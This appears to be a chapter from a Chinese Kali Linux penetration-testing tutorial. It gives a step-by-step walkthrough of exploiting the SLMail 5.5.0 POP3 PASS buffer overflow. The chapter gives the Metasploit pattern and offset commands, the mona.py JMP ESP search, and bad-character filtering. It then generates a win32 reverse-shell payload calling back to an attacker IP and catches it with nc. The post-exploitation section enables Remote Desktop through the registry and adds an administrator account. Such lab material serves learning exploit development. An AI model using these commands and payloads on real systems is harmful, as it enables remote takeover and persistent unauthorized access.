**Windows緩沖區溢出**
—————————
程序的漏洞從哪里來?
罪惡的根源:變量
數據與代碼界限不清
產生漏洞原理——應用程序對用戶的輸入沒有做嚴格檢查過濾
**緩沖區溢出**
—————
當緩沖區邊界限制不嚴格時,由于變量傳入畸形數據或程序運行錯誤
導致緩沖區被"撐爆",從而覆蓋了相鄰區域的數據。
成功修改內存數據,可造成進程劫持,執行惡意代碼,獲取服務器控制權等。
**如何發現漏洞?**
—————————————
源碼審計
逆向工程
模糊測試
向程序堆棧半隨機的數據,根據內存變化判斷溢出
數據生成器:生成隨機、半隨機數據
測試工具:識別溢出漏洞(動態調試——OD、IDA)
**Windows緩沖區溢出——FUZZER**
—————————————————————————
安裝三個軟件
1.SLMail 5.5.0
2.Immunity Debugger
3.mona.py
(將mona腳本放到ImmunityDebugger\PyCommands目錄下)
鏈接:https://pan.baidu.com/s/1JoMrW9ZymD3ej1GvIE5geg 密碼:hz53
win7&win8等系統有這些安全機制不能進行緩沖區溢出
DEP:阻止代碼從數據頁被執行
ASLR:隨機內存地址加載執行程序和DLL,每次重啟地址變化
* * * * *
POP3 PASS 命令存在緩沖區溢出漏洞
無需身份驗證實現遠程代碼執行
用py寫幾個腳本:
1.py——測試連接mail
2.py——測試向mail發送數據
3.py——發送唯一字符串
4.py——查找精確溢出的4個字節
5.py——找出壞字符
6.py——重發buffer
win.py——發shellcode
鏈接: https://pan.baidu.com/s/1IjIqL87u1-xRUcso2KGgqg 密碼: ducr
___________________________
**思路:
——**
**一、測試1.py是否可連接mail服務**
> 用Immunity Debugger去Attach開啟的SLMail并F9跑起來
> 用2.py測試 PASS 命令接收到大量數據時是否會溢出
EIP 寄存器存放下一條指令的地址
**二、2700個字符實現EIP 寄存器溢出**
> 重啟pop3服務(每次服務被打死,都要重啟)
> 重新打開imdebug運行smail(別忘記F9讓程序跑起來)
在kali下創建唯一字符串:
~~~
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 2700
~~~
> 將生成的唯一字符串賦值為3.py的buffer的內容
> 運行3.py,觀察EIP寄存器,數字為39694438(這是16進制的ASCII碼)
**三、找到精確溢出的4個字節**
再次打開kali:
~~~
cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -q 39694438
~~~
> 結果是2606,即從第2606個開始,就是打入EIP寄存器的字符的位置
> 因此將 EIP 修改為shellcode代碼的內存地址,將Shellcode寫入到該地址空間
> 程序讀取EIP 寄存器數值,將跳轉到 shellcode 代碼段并執行
**四、尋找可存放shellcode的內存空間**
> 運行4.py驗證(記得重啟服務),EIP寄存器放入了四個大寫字母B
> 再看一下ESP里面的內容,那里放入了我們跟在4個B后面的20個C
> 這時只要我們在eip里面放入esp的地址,再在esp內放入我們的shellcode,那么不就可以拿到系統權限了?
> 當然,我們得先來判斷esp有多大,夠不夠放下我們的shellcode?
> 修改C的數量(3500-2606-4),再次執行4.py
> Follow in dump進ESP的地址,用C的最后出現地址減去C最初出現的地址
> 得到10進制結果為416,足夠存下一個最簡單的shellcode(一般需要300字節左右)
**五、找出壞字符**
> 不同類型的程序、協議、漏洞,會將某些字符認為是壞字符,這些字符有固定用途
> 返回地址、 Shellcode、 buffer中都不能出現壞字符
> null byte (0x00) 空字符,用于終止字符串的拷貝操作
> return (0x0D) 回車操作,表示POP3 PASS 命令輸入完成
> 思路:發送0x00 —— 0xff 256個字符,查找所有壞字符
> 運行5.py找出壞字符,結果:0A、0D、00為壞字符
**六、重定向數據流**
> 用 ESP 的地址替換 EIP 的值
> 但是 ESP 地址變化,硬編碼不可行
> SLMail 線程應用程序,操作系統為每個線程分配一段地址范圍,每個線程地址范圍不確定
**變通思路**
? 在內存中尋找地址固定的系統模塊
? 在模塊中尋找 JMP ESP 指令的地址跳轉,再由該指令間接跳轉到 ESP,從而執行shellcode
? mona.py 腳本識別內存模塊,搜索“return address”是JMP ESP指令的模塊
? 尋找無DEP、 ALSR保護的內存地址
? 內存地址不包含壞字符
? EIP——>系統模塊——>ESP(思路流程)
**具體步驟:**
> 1、!mona modules //用mona.py查看模塊運行情況
> 2、rebase(操作系統重啟以后是否發生變化,如變化,則為true,否則為false)這里尋找false的
> 3、safeseh aslr nxcompat 是操作系統的安全機制,都選false
> 4、OS dll表示每個操作系統都有的這里都選為TRUE
> 5、!mona find -s "jmp esp" -m 模塊_name.dll (這一步先不能執行) //尋找有esp跳轉的模塊
> 6、用kali上的工具將輸入的匯編語言轉換成機器指令
> cd /usr/share/metasploit-framework/tools/exploit
> ./nasm_shell.rb
> nasm > jmp esp
> 得到結果為FFE4
> 7、!mona find -s "\xff\xe4" -m slmfc.dll
> 8、找到后雙擊進入,切換一下顯示視圖,在FFE4處下斷點
> 9、用我們的6.py重發buffer (地址反轉,高字節存低地址,低字節存高地址)
> 10、EIP被指定為我們寫的地址,可以F7單步跟一下
> 可以發現下一步要執行的地址就是我們ESP寄存器的地址
> 證明通過系統模塊跳轉到esp寄存器的想法實現了
**七、寫shellcode**
還是用kali幫忙,需要去掉壞字符
~~~
cd /usr/share/framework2/
./msfpayload win32_reverse LHOST=攻擊者IP LPORT=443 R | ./msfencode -b "\x00\x0a\x0d"
~~~
然后將shellcode寫入我們的win.py
buffer里面增加了\x90,是為了防止esp執行的時候把shellcode的前面幾個字符忽略掉
用nc偵聽我們的443端口 `nc -vlp 443` 成功獲取shell
**八、還可以開3389遠程桌面**
修改注冊表:
~~~
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
~~~
新增用戶
`net user wintry wintry.123 /expires:never /active:yes /add`
添加到管理組
`net localgroup Administrators wintry /add`
遠程連接
`rdesktop 192.168.1.112`
- 序言
- kali-Linux基本配置
- 忘記Root密碼
- 更新系統和軟件包
- Bash命令
- shell編程
- Linux的文件權限配置
- Linux日志文件
- 信息收集
- 被動信息收集
- 繞過CDN找真實IP
- IDS識別
- p0f-OS識別
- nmap端口掃描
- 搜索引擎
- 內網主機發現
- 使用SET社工包釣魚
- 漏洞發現
- Nessus策略漏掃
- AWVS集成漏掃
- w3af
- 其它漏掃
- 抓包改包
- Burpsite
- Fiddler
- Wireshark
- 漏洞利用
- Hydra爆破
- SQLmap
- Metasploit
- Beef
- antSwrod
- XSS前端工具
- Windows緩沖區溢出
- 后漏洞利用階段
- 免殺一句話
- 上傳工具
- 嗅探
- 本地提取
- 隱藏痕跡